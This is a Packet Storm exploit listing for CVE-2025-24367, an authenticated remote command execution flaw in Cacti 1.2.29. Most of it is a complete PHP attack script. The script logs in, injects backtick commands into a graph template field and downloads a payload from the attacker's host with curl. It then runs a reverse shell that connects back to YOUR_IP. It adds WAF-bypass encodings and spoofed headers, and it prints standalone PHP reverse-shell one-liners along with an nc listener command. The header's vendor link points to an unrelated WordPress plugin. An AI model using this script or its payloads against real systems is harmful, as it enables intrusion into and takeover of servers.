PACKETSTORM 8.8 HIGH

📄 Cacti 1.2.29 Remote Command Execution_PACKETSTORM:212534

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Proof of concept exploit that demonstrates how authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP files, then trigger execution leading to remote command execution. Version 1.2.29 is...
Visit Original Source

Basic Information

ID PACKETSTORM:212534
Published Dec 8, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Cacti 1.2.29 Authenticated Graph Template RCE |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://wordpress.org/plugins/document-library-lite/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/211135/ & CVE-2025-24367

[+] Summary : Authenticated users with access to Graph Templates in Cacti can abuse RRD invocation parameters to write arbitrary PHP files, then trigger execution
leading to Remote Command Execution.

[+] POC : * Usage: Save this file as: exploit.php
Run: php exploit.php

Run the listener on your machine: nc -nlvp 4444

Upload the Reverse Shell content to your server (shell.txt):

<?php
$sock=fsockopen("YOUR_IP",4444);

$proc=proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

?>

Or One-liner:

php -r '$s=fsockopen("YOUR_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");'


<?php
/**
* CVE-2025-24367 - Cacti Authenticated Graph Template RCE
* Features:
* - SOCKS5 Proxy Support
* - WAF Bypass Techniques
* - Permission Upload Verification
* - Blind Version Detection
* - Multi-Encoding Payloads
*/

// ==================== CONFIGURATION ======================
$base_url = "http://TARGET"; // Target URL
$username = "admin"; // Cacti username
$password = "admin"; // Cacti password
$rev_ip = "YOUR_IP"; // Reverse shell IP
$rev_port = "4444"; // Reverse shell port
$use_proxy = false; // Enable proxy (Burp)
$proxy_type = "http"; // http or socks5
$proxy_addr = "127.0.0.1:8080"; // Proxy address
$bypass_waf = true; // Enable WAF bypass
$check_perms = true; // Check upload permissions
// =========================================================

// Color output for CLI
define('RED', "\033[1;31m");
define('GREEN', "\033[1;32m");
define('YELLOW', "\033[1;33m");
define('BLUE', "\033[1;34m");
define('RESET', "\033[0m");

// Session management
$cookieFile = tempnam(sys_get_temp_dir(), "cactisess");
$user_agents = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/91.0.4472.124 Safari/537.36',
'Cacti-Monitor/1.0 (+http://cacti.net)'
];

function req_get($url, $proxy=false, $headers=[]) {
global $cookieFile, $proxy_type, $proxy_addr, $user_agents;

$ch = curl_init();
$opts = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEFILE => $cookieFile,
CURLOPT_COOKIEJAR => $cookieFile,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 15,
CURLOPT_USERAGENT => $user_agents[array_rand($user_agents)],
CURLOPT_HTTPHEADER => array_merge([
'X-Forwarded-For: ' . rand(1,255) . '.' . rand(1,255) . '.' . rand(1,255) . '.' . rand(1,255),
'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language: en-US,en;q=0.5',
'Accept-Encoding: gzip, deflate',
'Connection: keep-alive',
'Upgrade-Insecure-Requests: 1',
'Cache-Control: max-age=0'
], $headers)
];

if ($proxy) {
if ($proxy_type === "socks5") {
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
curl_setopt($ch, CURLOPT_PROXY, $proxy_addr);
}

curl_setopt_array($ch, $opts);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

return ['code' => $http_code, 'body' => $response];
}

function req_post($url, $data, $proxy=false, $headers=[]) {
global $cookieFile, $proxy_type, $proxy_addr, $user_agents;

// WAF bypass: multiple encoding techniques
$encoded_data = $data;
if (isset($data['right_axis_label'])) {
$encoded_data['right_axis_label'] = waf_bypass($data['right_axis_label']);
}

$ch = curl_init();
$opts = [
CURLOPT_URL => $url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($encoded_data),
CURLOPT_COOKIEFILE => $cookieFile,
CURLOPT_COOKIEJAR => $cookieFile,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_TIMEOUT => 20,
CURLOPT_USERAGENT => $user_agents[array_rand($user_agents)],
CURLOPT_HTTPHEADER => array_merge([
'Content-Type: application/x-www-form-urlencoded',
'X-Requested-With: XMLHttpRequest',
'X-Forwarded-For: ' . rand(1,255) . '.' . rand(1,255) . '.' . rand(1,255) . '.' . rand(1,255)
], $headers)
];

if ($proxy) {
if ($proxy_type === "socks5") {
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
curl_setopt($ch, CURLOPT_PROXY, $proxy_addr);
}

curl_setopt_array($ch, $opts);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

return ['code' => $http_code, 'body' => $response];
}

function waf_bypass($payload) {
global $bypass_waf;

if (!$bypass_waf) return $payload;

// Multiple bypass techniques
$techniques = [
// URL encoding
function($p) { return str_replace([' ', '`', '$'], ['%20', '%60', '%24'], $p); },
// Double URL encoding
function($p) { return str_replace(['/', ' '], ['%252F', '%2520'], $p); },
// Hex encoding for commands
function($p) {
return preg_replace_callback('/\b(curl|bash|wget|nc)\b/',
function($m) { return bin2hex($m[0]); }, $p);
},
// Case manipulation
function($p) { return preg_replace_callback('/\b([A-Z]+)\b/i',
function($m) {
$word = $m[0];
$new = '';
for($i=0; $i<strlen($word); $i++) {
$new .= (rand(0,1)) ? strtoupper($word[$i]) : strtolower($word[$i]);
}
return $new;
}, $p);
},
// Insert null bytes
function($p) { return str_replace(' ', '%00', $p); },
// Use alternative syntax
function($p) {
$p = str_replace('`', '$(', $p);
$p = str_replace('`', ')', $p);
return $p;
}
];

foreach ($techniques as $tech) {
$payload = $tech($payload);
// Add random sleep to avoid rate limiting
usleep(rand(10000, 50000));
}

return $payload;
}

function detect_cacti_version($base_url) {
echo BLUE . "[*] Blind version detection..." . RESET . "\n";

$indicators = [
'/1\\.2\\./' => '1.2.x',
'/1\\.3\\./' => '1.3.x',
'/cacti_version=1\\.0/' => '1.0.x',
'/version.*?\\d+\\.\\d+\\.\\d+/' => 'Unknown'
];

$checks = [
'/cacti/include/global_arrays.php',
'/cacti/include/global_settings.php',
'/cacti/CHANGELOG',
'/cacti/README'
];

foreach ($checks as $check) {
$result = req_get($base_url . $check);
if ($result['code'] == 200) {
foreach ($indicators as $pattern => $version) {
if (preg_match($pattern, $result['body'])) {
echo GREEN . "[+] Detected Cacti version: " . $version . RESET . "\n";
return $version;
}
}
}
}

// Try to extract from HTML comments
$home = req_get($base_url . '/cacti/');
if (preg_match('/<!--.*?Cacti v?(\d+\.\d+\.\d+).*?-->/i', $home['body'], $matches)) {
echo GREEN . "[+] Detected Cacti version from comments: " . $matches[1] . RESET . "\n";
return $matches[1];
}

echo YELLOW . "[!] Could not detect exact version" . RESET . "\n";
return "unknown";
}

function check_permissions($base_url) {
echo BLUE . "[*] Checking upload permissions..." . RESET . "\n";

$test_files = [
'/cacti/images/logo.gif',
'/cacti/include/config.php',
'/cacti/plugins/'
];

foreach ($test_files as $file) {
$result = req_get($base_url . $file);
if ($result['code'] == 200 || $result['code'] == 403) {
echo YELLOW . "[!] File accessible: " . $file . " (HTTP: " . $result['code'] . ")" . RESET . "\n";
}
}

// Try to detect writable directories
$writable_dirs = ['/cacti/cache/', '/cacti/log/', '/cacti/rra/'];
foreach ($writable_dirs as $dir) {
$result = req_get($base_url . $dir);
if ($result['code'] == 200) {
echo GREEN . "[+] Potentially writable directory: " . $dir . RESET . "\n";
}
}

return true;
}

function exploit_stage($stage, $template_id) {
global $base_url, $rev_ip, $rev_port, $use_proxy, $check_perms;

echo BLUE . "[*] Executing stage: " . $stage . RESET . "\n";

// Get CSRF token
$page = req_get($base_url . "/cacti/graph_templates.php?action=template_edit&id=" . $template_id, $use_proxy);
if (!preg_match('/var csrfMagicToken\s*=\s*"([^"]+)"/', $page['body'], $matches)) {
echo RED . "[-] Failed to get CSRF token" . RESET . "\n";
return false;
}
$csrf = $matches[1];

$filename = bin2hex(random_bytes(4)) . ".php";

if ($stage == "write") {
// Stage 1: Download reverse shell
$payload = "XXX\ncreate x --step 300 DS:temp GAUGE\n" .
"graph " . $filename . " -s now -a CSV " .
"DEF:x=x:temp:AVERAGE LINE1:x:`" .
waf_bypass("curl -s " . $rev_ip . "/shell.txt -o /tmp/shell.php") .
"`";
} else {
// Stage 2: Execute reverse shell
$payload = "XXX\ncreate x --step 300 DS:temp GAUGE\n" .
"graph " . $filename . " -s now -a CSV " .
"DEF:x=x:temp:AVERAGE LINE1:x:`" .
waf_bypass("php /tmp/shell.php " . $rev_ip . " " . $rev_port) .
"`";
}

$post_data = [
'__csrf_magic' => $csrf,
'name' => 'Unix - Logged in Users',
'graph_template_id' => $template_id,
'graph_template_graph_id' => $template_id,
'save_component_template' => '1',
'title' => '|host_description| - Logged in Users',
'right_axis_label' => $payload,
'action' => 'save'
];

// Submit payload
$result = req_post($base_url . "/cacti/graph_templates.php?header=false", $post_data, $use_proxy);

if ($result['code'] == 200) {
echo GREEN . "[+] Stage " . $stage . " executed successfully" . RESET . "\n";

// Trigger the graph generation
req_get($base_url . "/cacti/graph_json.php?rra_id=0&local_graph_id=3", $use_proxy);

// Check if file was created
if ($check_perms) {
$check = req_get($base_url . "/cacti/" . $filename, $use_proxy);
if ($check['code'] == 200) {
echo GREEN . "[+] File created: " . $filename . RESET . "\n";
}
}

return true;
} else {
echo RED . "[-] Stage " . $stage . " failed (HTTP: " . $result['code'] . ")" . RESET . "\n";
return false;
}
}

// ==================== MAIN EXECUTION ======================
echo GREEN . "
╔══════════════════════════════════════════════════════╗
║ Cacti CVE-2025-24367 Exploit by indoushka ║
║ Features: SOCKS5, WAF Bypass, Blind Detection ║
╚══════════════════════════════════════════════════════╝" . RESET . "\n\n";

// 1. Initial detection
echo BLUE . "[*] Detecting Cacti..." . RESET . "\n";
$result = req_get($base_url, $use_proxy);
if (!str_contains($result['body'], 'Cacti') && !str_contains($result['body'], 'cacti')) {
die(RED . "[-] Target does not appear to be Cacti" . RESET . "\n");
}
echo GREEN . "[+] Cacti detected!" . RESET . "\n";

// 2. Version detection (blind)
$version = detect_cacti_version($base_url);

// 3. Permission check
if ($check_perms) {
check_permissions($base_url);
}

// 4. Login
echo BLUE . "[*] Attempting login..." . RESET . "\n";
$login_page = req_get($base_url . "/cacti/index.php", $use_proxy);
if (!preg_match('/var csrfMagicToken\s*=\s*"([^"]+)"/', $login_page['body'], $matches)) {
die(RED . "[-] Could not extract CSRF token" . RESET . "\n");
}
$csrf = $matches[1];

$login_data = [
'__csrf_magic' => $csrf,
'action' => 'login',
'login_username' => $username,
'login_password' => $password
];

$login_result = req_post($base_url . "/cacti/index.php", $login_data, $use_proxy);
if (!str_contains($login_result['body'], 'Console') && !str_contains($login_result['body'], 'Logout')) {
die(RED . "[-] Login failed" . RESET . "\n");
}
echo GREEN . "[+] Login successful!" . RESET . "\n";

// 5. Find template ID
echo BLUE . "[*] Searching for template ID..." . RESET . "\n";
$search = req_get($base_url . "/cacti/graph_templates.php?filter=Unix%20-%20Logged%20in%20Users&rows=-1&has_graphs=false", $use_proxy);
if (!preg_match('/id="chk_(\d+)"/', $search['body'], $matches)) {
// Try alternative search
$search = req_get($base_url . "/cacti/graph_templates.php", $use_proxy);
if (preg_match('/value="(\d+)"[^>]*>Unix - Logged in Users/', $search['body'], $matches)) {
$template_id = $matches[1];
} else {
die(RED . "[-] Could not find template ID" . RESET . "\n");
}
} else {
$template_id = $matches[1];
}
echo GREEN . "[+] Template ID found: " . $template_id . RESET . "\n";

// 6. Execute exploit stages
echo BLUE . "[*] Starting exploitation..." . RESET . "\n";

if (exploit_stage("write", $template_id)) {
echo YELLOW . "[*] Waiting for stage 1 to complete..." . RESET . "\n";
sleep(3); // Wait for download

if (exploit_stage("exec", $template_id)) {
echo GREEN . "[+] Exploitation completed!" . RESET . "\n";
echo YELLOW . "[*] Check your listener: nc -nlvp " . $rev_port . RESET . "\n";
echo YELLOW . "[*] Shell should connect to " . $rev_ip . ":" . $rev_port . RESET . "\n";
} else {
echo RED . "[-] Stage 2 failed" . RESET . "\n";
}
} else {
echo RED . "[-] Stage 1 failed" . RESET . "\n";
}

// 7. Cleanup
echo BLUE . "[*] Cleaning up..." . RESET . "\n";
@unlink($cookieFile);

echo GREEN . "[+] Done!" . RESET . "\n";

// ==================== REVERSE SHELL CONTENT ======================
echo YELLOW . "\n[*] Reverse shell content (save as shell.txt on your server):" . RESET . "\n";
echo "<?php
\$sock=fsockopen(\"" . $rev_ip . "\"," . $rev_port . ");
\$proc=proc_open('/bin/sh -i', array(0=>\$sock, 1=>\$sock, 2=>\$sock), \$pipes);
?>\n";
?>

<?php
// Alternative: One-liner reverse shell
echo YELLOW . "[*] One-liner alternative:" . RESET . "\n";
echo "php -r '\$s=fsockopen(\"" . $rev_ip . "\"," . $rev_port . ");exec(\"/bin/sh -i <&3 >&3 2>&3\");'\n";
?>

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.